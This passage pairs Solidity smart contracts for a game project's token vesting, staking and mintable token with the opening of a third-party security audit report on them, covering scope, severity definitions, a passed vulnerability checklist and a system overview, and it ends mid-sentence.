claimed at which index. 0 means never claim uint256 claimedTimestamp; // user's last claimed timestamp. 0 means never claim } constructor(address _tngToken, uint256[] memory _claimableTimestamp, uint256[] memory _claimablePercent) { tngToken = IERC20(_tngToken); setClaimable(_claimableTimestamp, _claimablePercent); emit SetClaimable(_claimableTimestamp, _claimablePercent); } // Register token allocation info // account : IDO address // tokenAllocation : IDO contribution amount in wei function register(address[] memory account, uint256[] memory tokenAllocation) external onlyOwner { require(account.length > 0, "Account array input is empty"); require(tokenAllocation.length > 0, "tokenAllocation array input is empty"); require(tokenAllocation.length == account.length, "tokenAllocation length does not matched with account length"); // Iterate through the inputs for(uint256 index = 0; index < account.length; index++) { // Save into account info Account storage userAccount = accounts[account[index]]; // For tracking // Only add to the var if is a new entry // To update, deregister and re-register if(userAccount.tokenAllocation == 0) { totalParticipants++; userAccount.tokenAllocation = tokenAllocation[index]; userAccount.pendingTokenAllocation = tokenAllocation[index]; // For tracking purposes totalPendingVestingToken += tokenAllocation[index]; } } emit Register(account, tokenAllocation); } function deRegister(address[] memory account) external onlyOwner { require(account.length > 0, "Account array input is empty"); // Iterate through the inputs for(uint256 index = 0; index < account.length; index++) { // Save into account info Account storage userAccount = accounts[account[index]]; if(userAccount.tokenAllocation > 0) { totalParticipants--; // For tracking purposes totalPendingVestingToken -= userAccount.pendingTokenAllocation; userAccount.tokenAllocation = 0; userAccount.pendingTokenAllocation = 0; userAccount.claimIndex = 0; userAccount.claimedTimestamp = 0; } } emit Deregister(account); } function claim() external { Account storage userAccount = accounts[_msgSender()]; uint256 tokenAllocation = userAccount.tokenAllocation; require(tokenAllocation > 0, "Nothing to claim"); uint256 claimIndex = userAccount.claimIndex; require(claimIndex < claimableTimestamp.length, "All tokens claimed"); //Calculate user vesting distribution amount uint256 tokenQuantity = 0; for(uint256 index = claimIndex; index < claimableTimestamp.length; index++) { uint256 _claimTimestamp = claimableTimestamp[index]; if(block.timestamp >= _claimTimestamp) { claimIndex++; tokenQuantity = tokenQuantity + (tokenAllocation * claimablePercent[_claimTimestamp] / DENOM); } else { break; } } require(tokenQuantity > 0, "Nothing to claim now, please wait for next vesting"); //Validate whether contract token balance is sufficient uint256 contractTokenBalance = tngToken.balanceOf(address(this)); require(contractTokenBalance >= tokenQuantity, "Contract token quantity is not sufficient"); //Update user details userAccount.claimedTimestamp = block.timestamp; userAccount.claimIndex = claimIndex; userAccount.pendingTokenAllocation = userAccount.pendingTokenAllocation - tokenQuantity; //For tracking totalPendingVestingToken -= tokenQuantity; //Release token bool status = tngToken.transfer(_msgSender(), tokenQuantity); require(status, "Failed to claim"); emit Claim(_msgSender(), tokenQuantity); } // Calculate claimable tokens at current timestamp function getClaimableAmount(address account) external view returns(uint256) { Account storage userAccount = accounts[account]; uint256 tokenAllocation = userAccount.tokenAllocation; uint256 claimIndex = userAccount.claimIndex; if(tokenAllocation == 0) return 0; if(claimableTimestamp.length == 0) return 0; if(block.timestamp < claimableTimestamp[0]) return 0; if(claimIndex >= claimableTimestamp.length) return 0; uint256 tokenQuantity = 0; for(uint256 index = claimIndex; index < claimableTimestamp.length; index++){ uint256 _claimTimestamp = claimableTimestamp[index]; if(block.timestamp >= _claimTimestamp){ tokenQuantity = tokenQuantity + (tokenAllocation * claimablePercent[_claimTimestamp] / DENOM); } else { break; } } return tokenQuantity; } // Update claim percentage. Timestamp must match with _claimableTime function setClaimable(uint256[] memory timestamp, uint256[] memory percent) public onlyOwner { require(timestamp.length > 0, "Empty timestamp input"); require(timestamp.length == percent.length, "Array size not matched"); // set claim percentage for(uint256 index = 0; index < timestamp.length; index++){ claimablePercent[timestamp[index]] = percent[index]; } // set claim timestamp claimableTimestamp = timestamp; } function getClaimableTimestamp() external view returns (uint256[] memory){ return claimableTimestamp; } function getClaimablePercent() external view returns (uint256[] memory){ uint256[] memory _claimablePercent = new uint256[](claimableTimestamp.length); for(uint256 index = 0; index < claimableTimestamp.length; index++) { uint256 _claimTimestamp = claimableTimestamp[index]; _claimablePercent[index] = claimablePercent[_claimTimestamp]; } return _claimablePercent; } function rescueToken(address _token, address _to, uint256 _amount) external onlyOwner { uint256 _contractBalance = IERC20(_token).balanceOf(address(this)); require(_contractBalance >= _amount, "Insufficient tokens"); IERC20(_token).transfer(_to, _amount); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract Staking is Ownable { /// @notice Info of each MC user. /// `amount` LP token amount the user has provided. /// `rewardDebt` The amount of TNG entitled to the user. struct UserInfo { uint256 totalAmount; uint256 rewardDebt; uint256 lastClaimTime; uint256 stakeRecords; } // Store all user stake records struct UserStakeInfo { uint256 amount; uint256 stakedTime; uint256 unstakedTime; uint256 unlockTime; } // Info of each user that stakes. mapping (address => UserInfo) public userInfo; // Info of each user staking records mapping (uint256 => mapping (address => UserStakeInfo)) public userStakeInfo; IERC20 public tngToken; IERC20 public lpToken; uint256 public accTngPerShare; uint256 public lastRewardTime = block.timestamp; uint256 public lockTime; // lock time in seconds uint256 public tngPerSecond = 578700000000000000; //Initial rewards per seconds = 50000/86400 uint256 public lpTokenDeposited; uint256 public pendingTngRewards; uint256 public emergencyWithdrawalFee = 10; // Early withdrawal will incur 10% fee, fee will be stored in contract uint256 private constant ACC_TNG_PRECISION = 1e12; event Deposit(address indexed user, uint256 amount); event Withdraw(address indexed user, uint256 sid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 sid, uint256 amount); event Harvest(address indexed user, uint256 amount); event SetTngPerSecond(uint256 tngPerSecond); event SetLockTime(uint256 epoch); event SetEmergencyWithdrawalFee(uint256 _emergencyWithdrawalFee); constructor(IERC20 _tngToken, IERC20 _lpToken, uint256 _lockTime) { tngToken = _tngToken; lpToken = _lpToken; lockTime = _lockTime; } function deposit(uint256 _amount) external { // Refresh rewards updatePool(); UserInfo storage user = userInfo[msg.sender]; UserStakeInfo storage stakeInfo = userStakeInfo[user.stakeRecords][msg.sender]; require(lpToken.balanceOf(msg.sender) >= _amount, "Insufficient tokens"); // set user info user.totalAmount += _amount; user.rewardDebt = user.rewardDebt + (_amount * accTngPerShare / ACC_TNG_PRECISION); user.stakeRecords++; // set staking info stakeInfo.amount = _amount; stakeInfo.stakedTime = block.timestamp; stakeInfo.unlockTime = block.timestamp + lockTime; // Tracking lpTokenDeposited = lpTokenDeposited + _amount; // Transfer token into the contract bool status = lpToken.transferFrom(msg.sender, address(this), _amount); require(status, "Deposit failed"); emit Deposit(msg.sender, _amount); } function harvest() external { // Refresh rewards updatePool(); UserInfo storage user = userInfo[msg.sender]; uint256 accumulatedTng = user.totalAmount * accTngPerShare / ACC_TNG_PRECISION; uint256 _pendingTng = accumulatedTng - user.rewardDebt; require(_pendingTng > 0, "No pending rewards"); require(tngToken.balanceOf(address(this)) >= _pendingTng, "Insufficient TNG tokens in contract"); // user info user.rewardDebt = accumulatedTng; user.lastClaimTime = block.timestamp; // Transfer pending rewards if there is any payTngReward(_pendingTng, msg.sender); emit Harvest(msg.sender, _pendingTng); } /// @notice Withdraw LP tokens from MC and harvest proceeds for transaction sender to `to`. /// @param _sid The index of the staking record function withdraw(uint256 _sid) external { // Refresh rewards updatePool(); UserInfo storage user = userInfo[msg.sender]; UserStakeInfo storage stakeInfo = userStakeInfo[_sid][msg.sender]; uint256 _amount = stakeInfo.amount; require(_amount > 0, "No stakes found"); require(block.timestamp >= stakeInfo.unlockTime, "Lock period not ended"); require(lpToken.balanceOf(address(this)) >= _amount, "Insufficient tokens in contract, please contact admin"); uint256 accumulatedTng = user.totalAmount * accTngPerShare / ACC_TNG_PRECISION; uint256 _pendingTng = accumulatedTng - user.rewardDebt; // user info user.rewardDebt = accumulatedTng - (_amount * accTngPerShare / ACC_TNG_PRECISION); user.totalAmount -= _amount; // Stake info stakeInfo.amount = 0; stakeInfo.unstakedTime = block.timestamp; // Tracking lpTokenDeposited -= _amount; // Transfer tokens to user bool status = lpToken.transfer(msg.sender, _amount); require(status, "Failed to withdraw"); // Transfer pending rewards if there is any if (_pendingTng != 0) { user.lastClaimTime = block.timestamp; payTngReward(_pendingTng, msg.sender); } emit Withdraw(msg.sender, _sid, _amount); } function emergencyWithdraw(uint256 _sid) external { UserInfo storage user = userInfo[msg.sender]; UserStakeInfo storage stakeInfo = userStakeInfo[_sid][msg.sender]; uint256 _amount = stakeInfo.amount; require(_amount > 0, "No stakes found"); // user info user.totalAmount -= _amount; // Stake info stakeInfo.amount = 0; stakeInfo.unstakedTime = block.timestamp; // Tracking lpTokenDeposited -= _amount; // Early emergency withdrawal will incur penalty if(block.timestamp < stakeInfo.unlockTime) { _amount = _amount * (100 - emergencyWithdrawalFee) / 100; } // Transfer tokens to user bool status = lpToken.transfer(msg.sender, _amount); require(status, "Failed to withdraw"); emit EmergencyWithdraw(msg.sender, _sid, _amount); } function pendingTng(address _user) external view returns (uint256 pending) { UserInfo storage user = userInfo[_user]; uint256 _accTngPerShare = accTngPerShare; if (block.timestamp > lastRewardTime && lpTokenDeposited != 0) { uint256 time = block.timestamp - lastRewardTime; uint256 tngReward = getTngRewardForTime(time); _accTngPerShare = accTngPerShare + (tngReward * ACC_TNG_PRECISION / lpTokenDeposited); } pending = (user.totalAmount * _accTngPerShare / ACC_TNG_PRECISION) - user.rewardDebt; } function updatePool() public { if (block.timestamp > lastRewardTime) { if (lpTokenDeposited > 0) { uint256 time = block.timestamp - lastRewardTime; uint256 tngReward = getTngRewardForTime(time); trackPendingTngReward(tngReward); accTngPerShare = accTngPerShare + (tngReward * ACC_TNG_PRECISION / lpTokenDeposited); } lastRewardTime = block.timestamp; } } function payTngReward(uint256 _pendingTng, address _to) internal { pendingTngRewards = pendingTngRewards - _pendingTng; bool status = tngToken.transfer(_to, _pendingTng); require(status, "Failed to harvest"); } function getTngRewardForTime(uint256 _time) public view returns (uint256) { uint256 tngReward = _time * tngPerSecond; return tngReward; } function trackPendingTngReward(uint256 _amount) internal { pendingTngRewards = pendingTngRewards + _amount; } function setLockTime(uint256 _epoch) external onlyOwner { lockTime = _epoch; emit SetLockTime(_epoch); } function setTngPerSecond(uint256 _tngPerSecond) external onlyOwner { tngPerSecond = _tngPerSecond; emit SetTngPerSecond(_tngPerSecond); } function setEmergencyWithdrawalFee(uint256 _emergencyWithdrawalFee) external onlyOwner { require(_emergencyWithdrawalFee <= 20, "Exceeded allowed threshold"); emergencyWithdrawalFee = _emergencyWithdrawalFee; emit SetEmergencyWithdrawalFee(_emergencyWithdrawalFee); } }// SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract TncToken is ERC20, Ownable { mapping (address => bool) internal authorizations; constructor( string memory _name, string memory _symbol, uint256 _totalSupply, address _wallet ) ERC20 (_name, _symbol) { authorizations[_msgSender()] = true; _mint(_wallet, _totalSupply * (10 ** decimals())); } function mint(address _to, uint256 _amount) external { require(isAuthorized(msg.sender), "TncToken : UNAUTHORIZED"); _mint(_to, _amount); } function authorize(address _adr, bool _authorize) external { require(isAuthorized(msg.sender), "TncToken : UNAUTHORIZED"); authorizations[_adr] = _authorize; } function isAuthorized(address _adr) public view returns (bool) { return authorizations[_adr]; } }
C u s t o m e r : T h e N e x t W a r D a t e : M a y 2 5 t h , 2 0 2 2 T h i s d o c u m e n t m a y c o n t a i n c o n f i d e n t i a l i n f o r m a t i o n a b o u t I T s y s t e m s a n d t h e i n t e l l e c t u a l p r o p e r t y o f t h e C u s t o m e r a s w e l l a s i n f o r m a t i o n a b o u t p o t e n t i a l v u l n e r a b i l i t i e s a n d m e thods of their exploitation. T h e r e p o r t c o n t a i n i n g c o n f i d e n t i a l i n f o r m a t i o n c a n b e u s e d i n t e r n a l l y b y t h e C u s t o m e r , o r i t c a n b e d i s c l o s e d p u b l i c l y a f t e r a l l v u l n e r a b i l i t i e s a r e f i x e d — u p o n a d e c i s i o n o f t he Customer. D o c u m e n t N a m e S m a r t C o n t r a c t C o d e R e v i e w a n d S e c u r i t y A n a l y s i s R e p o r t f o r T h e N e x t W a r A p p r o v e d B y E v g e n i y B e z u g l y i | S C D e p a r t m e n t H e a d a t H a c k e n O U T y p e E R C 2 0 t o k e n ; S t a k i n g P l a t f o r m E V M L a n g u a g e S o l i d i t y M e t h o d s A r c h i t e c t u r e R e v i e w , F u n c t i o n a l T e s t i n g , C o m p u t e r - A i d e d V e r i f i c a t i o n , M a n u a l R e v i e w W e b s i t e h t t p s : / / w w w . t h e n e x t w a r . i o T i m e l i n e 1 6 . 0 5 . 2 0 2 2 – 2 5 . 0 5 . 2 0 2 2 C h a n g e l o g 1 6 . 0 5 . 2 0 2 2 – I n i t i a l R e v i e w 2 5 . 0 5 . 2 0 2 2 – S e c o n d R e v i e w w w w . h a c k e n . i o T a b l e o f c o n t e n t s I n t r o d u c t i o n 4 S c o p e 4 S e v e r i t y D e f i n i t i o n s 6 E x e c u t i v e S u m m a r y 7 C h e c k e d I t e m s 8 S y s t e m O v e r v i e w 1 1 F i n d i n g s 1 2 D i s c l a i m e r s 1 5 w w w . h a c k e n . i o I n t r o d u c t i o n H a c k e n O Ü ( C o n s u l t a n t ) w a s c o n t r a c t e d b y T h e N e x t W a r ( C u s t o m e r ) t o c o n d u c t a S m a r t C o n t r a c t C o d e R e v i e w a n d S e c u r i t y A n a l y s i s . T h i s r e p o r t p r e s e n t s t h e f i n d i n g s o f t h e s e c u r i t y a s s e s s m ent of the Customer's smart contracts. S c o p e T h e s c o p e o f t h e p r o j e c t i s s m a r t contracts in the repository: I n i t i a l r e v i e w s c o p e R e p o s i t o r y : h t t p s : / / g i t h u b . c o m / T h e N e x t W a r / C o ntracts C o m m i t : 3 3 4 f e 8 1 e a 7 2 8 2 a c 4 f 7 6 8 d e 0 7 7 c 3 7 a 7 9 3 2c0302de T e c h n i c a l D o c u m e n t a t i o n : T y p e : W h i t e p a p e r L i n k : h t t p s : / / t h e n e x t w a r . g i t b o o k . i o / t h e - n e x t - w a r / t h e - n e x t - w a r - p l a t f o r m / i n t r o d u c t i o n J S t e s t s : Y e s C o n t r a c t s : F i l e : . / c o n t r a c t s / D i s t r i b u t i o n . s o l S H A 3 : 8 5 6 f 8 8 5 e 0 a d b f 7 9 1 5 3 3 d 8 5 5 9 4 e 7 b 4 8 7 0 1 c 2 c f a 0 b e 9 9 7 8 7 5 5 2 5 4 7 5 c 0 d 1 6 5 9 5 4 e 6 F i l e : . / c o n t r a c t s / T n g T o k e n . s o l S H A 3 : 4 f 7 4 a 1 b 8 f 6 8 b 7 8 0 6 a 7 1 b 5 7 a e 7 2 a 3 5 b d 2 d 3 2 d d a 4 a a 0 3 a b 8 3 4 2 d 8 a 0 0 9 7 1 8 6 2 5 c b d F i l e : . / c o n t r a c t s / T n c T o k e n . s o l S H A 3 : c 6 f e a 0 b 7 f f 8 c 9 c f f 1 e f 9 c 0 b b 8 9 2 d e 1 2 3 b d 1 0 4 3 b 8 d 9 c 3 9 7 6 1 c 7 f c f 5 3 7 8 1 b 0 a 1 e 1 F i l e : . / c o n t r a c t s / S t a k i n g . s o l S H A 3 : 8 6 1 2 e 9 b b b f 9 f 1 7 a 3 e 5 3 4 9 c b 1 a b 6 f 1 5 d 4 a 4 6 9 b c 6 4 8 0 f c 6 8 d e 5 1 2 5 2 f c 2 e 0 d b a 9 d 6 S e c o n d r e v i e w s c o p e R e p o s i t o r y : h t t p s : / / g i t h u b . c o m / T h e N e x t W a r / C o ntracts C o m m i t : 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f 0 0 a a 6 5 0 e 3936bf83 T e c h n i c a l D o c u m e n t a t i o n : T y p e : W h i t e p a p e r L i n k : h t t p s : / / t h e n e x t w a r . g i t b o o k . i o / t h e - n e x t - w a r / t h e - n e x t - w a r - p l a t f o r m / i n t r o d u c t i o n J S t e s t s : Y e s C o n t r a c t s : F i l e : . / c o n t r a c t s / D i s t r i b u t i o n . s o l S H A 3 : d 9 7 7 f c a c 0 1 e c f d 0 8 d 1 1 0 9 e d 5 d e c 0 a b 1 0 6 b 6 e 7 4 7 c 5 6 c e 0 6 6 0 0 3 d 6 d 1 1 5 e 7 f 2 f 6 8 5 F i l e : . / c o n t r a c t s / T n g T o k e n . s o l S H A 3 : d 9 0 0 b c 8 9 5 d a 2 a 0 0 c 9 1 2 c e e 8 4 9 5 b 2 1 3 a 7 a 6 d c 0 2 0 6 6 b e 7 1 2 c f c 6 4 4 7 3 b 9 6 5 9 2 f 1 a 6 F i l e : . / c o n t r a c t s / T n c T o k e n . s o l S H A 3 : 3 a 2 c f 8 b 7 2 0 1 a 2 4 8 3 1 2 5 8 5 a f b a 6 7 c 0 b 4 1 9 4 9 e 1 0 d 3 b 9 1 4 9 6 5 f b 5 8 6 9 f b 0 d 5 a 6 1 3 2 3 F i l e : . / c o n t r a c t s / S t a k i n g . s o l w w w . h a c k e n . i o S H A 3 : 8 4 3 0 d 9 f 4 2 a 0 7 e d c b 1 a 5 8 1 b 2 4 9 0 b a c 7 0 b d b d d 9 6 e f 9 2 8 a 4 d 0 6 7 a 7 7 3 b d 1 c a 1 3 7 d 7 a w w w . h a c k e n . i o S e v e r i t y D e f i n i t i o n s R i s k L e v e l D e s c r i p t i o n C r i t i c a l C r i t i c a l v u l n e r a b i l i t i e s a r e u s u ally straightforward to e x p l o i t a n d c a n l e a d t o a s s e t s l oss or data m a n i p u l a t i o n s . H i g h H i g h - l e v e l v u l n e r a b i l i t i e s a r e d ifficult to exploit; h o w e v e r , t h e y a l s o h a v e a s i g n i f icant impact on smart c o n t r a c t e x e c u t i o n , e . g . , p u b l i c access to crucial f u n c t i o n s . M e d i u m M e d i u m - l e v e l v u l n e r a b i l i t i e s a r e important to fix; h o w e v e r , t h e y c a n n o t l e a d t o a s s ets loss or data m a n i p u l a t i o n s . L o w L o w - l e v e l v u l n e r a b i l i t i e s a r e m o stly related to o u t d a t e d , u n u s e d , e t c . c o d e s n i p pets that cannot have a s i g n i f i c a n t i m p a c t o n e x e c u t i o n . w w w . h a c k e n . i o E x e c u t i v e S u m m a r y T h e s c o r e m e a s u r e m e n t d e t a i l s c a n b e f o u n d i n t h e c o r r e s p o n d i n g s e c t i o n o f t h e m e t h o d o l o g y . D o c u m e n t a t i o n q u a l i t y T h e C u s t o m e r p r o v i d e d a w h i t e p a p e r w i t h t e c h n i c a l d o c u m e n t a t i o n t h a t i n c l u d e s f u n c t i o n a l r e q u i r e m e n t s . T h e t o t a l D o c u m e n t a t i o n Q u a l i t y s c o r e i s 1 0 o u t o f 1 0 . C o d e q u a l i t y T h e t o t a l C o d e Q u a l i t y s c o r e i s 1 0 o u t o f 1 0 . C o d e i s w e l l s t r u c t u r e d a n d h a s a g o o d u n i t t e s t s c o v e r a g e a nd many comments. A r c h i t e c t u r e q u a l i t y T h e a r c h i t e c t u r e q u a l i t y s c o r e i s 1 0 o u t o f 1 0 . T h e l o g i c i s s e p a r a t e d f o r d i f f e r e n t f i l e s , f o l l o w i n g a s i n gle responsibility principle. S e c u r i t y s c o r e A s a r e s u l t o f t h e a u d i t , s e c u r i t y e n g i n e e r s f o u n d n o i s s u e s . T h e s e c u r i t y s c o r e i s 1 0 o u t o f 1 0 . A l l f o u n d i s s u e s a r e d i s p l a y e d i n the “Findings” section. S u m m a r y A c c o r d i n g t o t h e a s s e s s m e n t , t h e C u s t o m e r ' s s m a r t c o n t r a c t h a s t h e f o l l o w i n g s c o r e : 1 0 . 0 . w w w . h a c k e n . i o C h e c k e d I t e m s W e h a v e a u d i t e d p r o v i d e d s m a r t c o n t r a c t s f o r c o m m o n l y k n o w n a n d m o r e s p e c i f i c v u l n e r a b i l i t i e s . H e r e a re some of the items that are considered: I t e m T y p e D e s c r i p t i o n S t a t u s D e f a u l t V i s i b i l i t y S W C - 1 0 0 S W C - 1 0 8 F u n c t i o n s a n d s t a t e v a r i a b l e s v i s i b i l i t y s h o u l d b e s e t e x p l i c i t l y . V i s i b i l i t y l e v e l s s h o u l d b e s p e c i f i e d c o n s c i o u s l y . P a s s e d I n t e g e r O v e r f l o w a n d U n d e r f l o w S W C - 1 0 1 I f u n c h e c k e d m a t h i s u s e d , a l l m a t h o p e r a t i o n s s h o u l d b e s a f e f r o m o v e r f l o w s a n d u n d e r f l o w s . N o t R e l e v a n t O u t d a t e d C o m p i l e r V e r s i o n S W C - 1 0 2 I t i s r e c o m m e n d e d t o u s e a r e c e n t v e r s i o n o f t h e S o l i d i t y c o m p i l e r . P a s s e d F l o a t i n g P r a g m a S W C - 1 0 3 C o n t r a c t s s h o u l d b e d e p l o y e d w i t h t h e s a m e c o m p i l e r v e r s i o n a n d f l a g s t h a t t h e y h a v e b e e n t e s t e d t h o r o u g h l y . P a s s e d U n c h e c k e d C a l l R e t u r n V a l u e S W C - 1 0 4 T h e r e t u r n v a l u e o f a m e s s a g e c a l l s h o u l d b e c h e c k e d . N o t R e l e v a n t A c c e s s C o n t r o l & A u t h o r i z a t i o n C W E - 2 8 4 O w n e r s h i p t a k e o v e r s h o u l d n o t b e p o s s i b l e . A l l c r u c i a l f u n c t i o n s s h o u l d b e p r o t e c t e d . U s e r s c o u l d n o t a f f e c t d a t a t h a t b e l o n g s t o o t h e r u s e r s . P a s s e d S E L F D E S T R U C T I n s t r u c t i o n S W C - 1 0 6 T h e c o n t r a c t s h o u l d n o t b e d e s t r o y e d u n t i l i t h a s f u n d s b e l o n g i n g t o u s e r s . P a s s e d C h e c k - E f f e c t - I n t e r a c t i o n S W C - 1 0 7 C h e c k - E f f e c t - I n t e r a c t i o n p a t t e r n s h o u l d b e f o l l o w e d i f t h e c o d e p e r f o r m s A N Y e x t e r n a l c a l l . P a s s e d U n i n i t i a l i z e d S t o r a g e P o i n t e r S W C - 1 0 9 S t o r a g e t y p e s h o u l d b e s e t e x p l i c i t l y i f t h e c o m p i l e r v e r s i o n i s < 0 . 5 . 0 . N o t R e l e v a n t A s s e r t V i o l a t i o n S W C - 1 1 0 P r o p e r l y f u n c t i o n i n g c o d e s h o u l d n e v e r r e a c h a f a i l i n g a s s e r t s t a t e m e n t . N o t R e l e v a n t D e p r e c a t e d S o l i d i t y F u n c t i o n s S W C - 1 1 1 D e p r e c a t e d b u i l t - i n f u n c t i o n s s h o u l d n e v e r b e u s e d . P a s s e d D e l e g a t e c a l l t o U n t r u s t e d C a l l e e S W C - 1 1 2 D e l e g a t e c a l l s s h o u l d o n l y b e a l l o w e d t o t r u s t e d a d d r e s s e s . P a s s e d D o S ( D e n i a l o f S e r v i c e ) S W C - 1 1 3 S W C - 1 2 8 E x e c u t i o n o f t h e c o d e s h o u l d n e v e r b e b l o c k e d b y a s p e c i f i c c o n t r a c t s t a t e u n l e s s i t i s r e q u i r e d . P a s s e d R a c e C o n d i t i o n s S W C - 1 1 4 R a c e C o n d i t i o n s a n d T r a n s a c t i o n s O r d e r D e p e n d e n c y s h o u l d n o t b e p o s s i b l e . P a s s e d w w w . h a c k e n . i o A u t h o r i z a t i o n t h r o u g h t x . o r i g i n S W C - 1 1 5 t x . o r i g i n s h o u l d n o t b e u s e d f o r a u t h o r i z a t i o n . P a s s e d B l o c k v a l u e s a s a p r o x y f o r t i m e S W C - 1 1 6 B l o c k n u m b e r s s h o u l d n o t b e u s e d f o r t i m e c a l c u l a t i o n s . P a s s e d S i g n a t u r e U n i q u e I d S W C - 1 1 7 S W C - 1 2 1 S W C - 1 2 2 S i g n e d m e s s a g e s s h o u l d a l w a y s h a v e a u n i q u e i d . A t r a n s a c t i o n h a s h s h o u l d n o t b e u s e d a s a u n i q u e i d . P a s s e d S h a d o w i n g S t a t e V a r i a b l e S W C - 1 1 9 S t a t e v a r i a b l e s s h o u l d n o t b e s h a d o w e d . P a s s e d W e a k S o u r c e s o f R a n d o m n e s s S W C - 1 2 0 R a n d o m v a l u e s s h o u l d n e v e r b e g e n e r a t e d f r o m C h a i n A t t r i b u t e s . N o t R e l e v a n t I n c o r r e c t I n h e r i t a n c e O r d e r S W C - 1 2 5 W h e n i n h e r i t i n g m u l t i p l e c o n t r a c t s , e s p e c i a l l y i f t h e y h a v e i d e n t i c a l f u n c t i o n s , a d e v e l o p e r s h o u l d c a r e f u l l y s p e c i f y i n h e r i t a n c e i n t h e c o r r e c t o r d e r . P a s s e d C a l l s O n l y t o T r u s t e d A d d r e s s e s E E A - L e v e l - 2 S W C - 1 2 6 A l l e x t e r n a l c a l l s s h o u l d b e p e r f o r m e d o n l y t o t r u s t e d a d d r e s s e s . P a s s e d P r e s e n c e o f u n u s e d v a r i a b l e s S W C - 1 3 1 T h e c o d e s h o u l d n o t c o n t a i n u n u s e d v a r i a b l e s i f t h i s i s n o t j u s t i f i e d b y d e s i g n . P a s s e d E I P s t a n d a r d s v i o l a t i o n E I P E I P s t a n d a r d s s h o u l d n o t b e v i o l a t e d . N o t R e l e v a n t A s s e t s i n t e g r i t y C u s t o m F u n d s a r e p r o t e c t e d a n d c a n n o t b e w i t h d r a w n w i t h o u t p r o p e r p e r m i s s i o n s . P a s s e d U s e r B a l a n c e s m a n i p u l a t i o n C u s t o m C o n t r a c t o w n e r s o r a n y o t h e r t h i r d p a r t y s h o u l d n o t b e a b l e t o a c c e s s f u n d s b e l o n g i n g t o u s e r s . P a s s e d D a t a C o n s i s t e n c y C u s t o m S m a r t c o n t r a c t d a t a s h o u l d b e c o n s i s t e n t a l l o v e r t h e d a t a f l o w . P a s s e d F l a s h l o a n A t t a c k C u s t o m W h e n w o r k i n g w i t h e x c h a n g e r a t e s , t h e y s h o u l d b e r e c e i v e d f r o m a t r u s t e d s o u r c e a n d n o t b e v u l n e r a b l e t o s h o r t - t e r m r a t e c h a n g e s t h a t c a n b e a c h i e v e d b y u s i n g f l a s h l o a n s . O r a c l e s s h o u l d b e u s e d . N o t R e l e v a n t T o k e n S u p p l y m a n i p u l a t i o n C u s t o m T o k e n s c a n b e m i n t e d o n l y a c c o r d i n g t o r u l e s s p e c i f i e d i n a w h i t e p a p e r o r a n y o t h e r d o c u m e n t a t i o n p r o v i d e d b y t h e c u s t o m e r . P a s s e d G a s L i m i t a n d L o o p s C u s t o m T r a n s a c t i o n e x e c u t i o n c o s t s s h o u l d n o t d e p e n d d r a m a t i c a l l y o n t h e a m o u n t o f d a t a s t o r e d o n t h e c o n t r a c t . T h e r e s h o u l d n o t b e a n y c a s e s w h e n e x e c u t i o n f a i l s d u e t o t h e b l o c k G a s l i m i t . P a s s e d w w w . h a c k e n . i o S t y l e g u i d e v i o l a t i o n C u s t o m S t y l e g u i d e s a n d b e s t p r a c t i c e s s h o u l d b e f o l l o w e d . P a s s e d R e q u i r e m e n t s C o m p l i a n c e C u s t o m T h e c o d e s h o u l d b e c o m p l i a n t w i t h t h e r e q u i r e m e n t s p r o v i d e d b y t h e C u s t o m e r . P a s s e d R e p o s i t o r y C o n s i s t e n c y C u s t o m T h e r e p o s i t o r y s h o u l d c o n t a i n a c o n f i g u r e d d e v e l o p m e n t e n v i r o n m e n t w i t h a c o m p r e h e n s i v e d e s c r i p t i o n o f h o w t o c o m p i l e , b u i l d a n d d e p l o y t h e c o d e . P a s s e d T e s t s C o v e r a g e C u s t o m T h e c o d e s h o u l d b e c o v e r e d w i t h u n i t t e s t s . T e s t c o v e r a g e s h o u l d b e 1 0 0 % , w i t h b o t h n e g a t i v e a n d p o s i t i v e c a s e s c o v e r e d . U s a g e o f c o n t r a c t s b y m u l t i p l e u s e r s s h o u l d b e t e s t e d . P a s s e d S t a b l e I m p o r t s C u s t o m T h e c o d e s h o u l d n o t r e f e r e n c e d r a f t c o n t r a c t s , t h a t m a y b e c h a n g e d i n t h e f u t u r e . P a s s e d w w w . h a c k e n . i o S y s t e m O v e r v i e w T H E N E X T W A R i s a b l o c k c h a i n - b a s e d B a t t l e R o y a l e i n s p i r e d b y C a l l o f D u t y . A s h o o t e r g a m e f e a t u r i n g w o r l d - c l a s s t o u r n a m e n t s b r i n g i n g s h o o t e r e n t h u s i a s t s t o a w h o l e n e w l e v e l o f e x t r e m e g a m i n g . T h e s y s t e m h a s t h e f o l l o w i n g c o n t r a c t s : ● T n g T o k e n — a s i m p l e E R C - 2 0 t o k e n t h a t m i n t s a l l i n i t i a l s u p p l y t o a s p e c i f i e d d u r i n g d e p l o y a d d r e s s . Additional minting is not allowed. I t h a s t h e f o l l o w i n g a t t r i b u t e s : ○ N a m e : T H E N E X T W A R G E M ○ S y m b o l : T N G ○ D e c i m a l s : 1 8 ○ T o t a l s u p p l y : 5 b ( t o k e n s u p p l y c o u l d n o t b e v e r i f i e d b e f o r e t h e c o n t r a c t d e p l o y ) . ● T n c T o k e n — s i m p l e E R C - 2 0 t o k e n w ith not limited minting. I t h a s t h e f o l l o w i n g a t t r i b u t e s : ○ N a m e : T H E N E X T W A R C O I N ○ S y m b o l : T N C ○ D e c i m a l s : 1 8 ○ T o t a l s u p p l y : U n l i m i t e d . ● S t a k i n g — a c o n t r a c t t h a t r e w a r d s users for staking their tokens. ● D i s t r i b u t i o n - a c o n t r a c t t h a t i s r e s p o n s i b l e f o r t o k e n a l l o c a t i o n d i s t r i b u t i o n t o u s e r s . U s e r s c a n c l a i m a l l o c a t e d t o k e n s a c c o r d i n g t o t h e v e s t i n g r u l e s . P r i v i l e g e d r o l e s ● T h e o w n e r o f t h e D i s t r i b u t i o n c o n t r a c t c a n a l l o c a t e t o k e n s f o r a s p e c i f i c a d d r e s s ● T h e o w n e r o f t h e D i s t r i b u t i o n c o n t r a c t c a n r e s e t t o k e n a l l o c a t i o n f o r a s p e c i f i c a d d r e s s ● T h e o w n e r o f 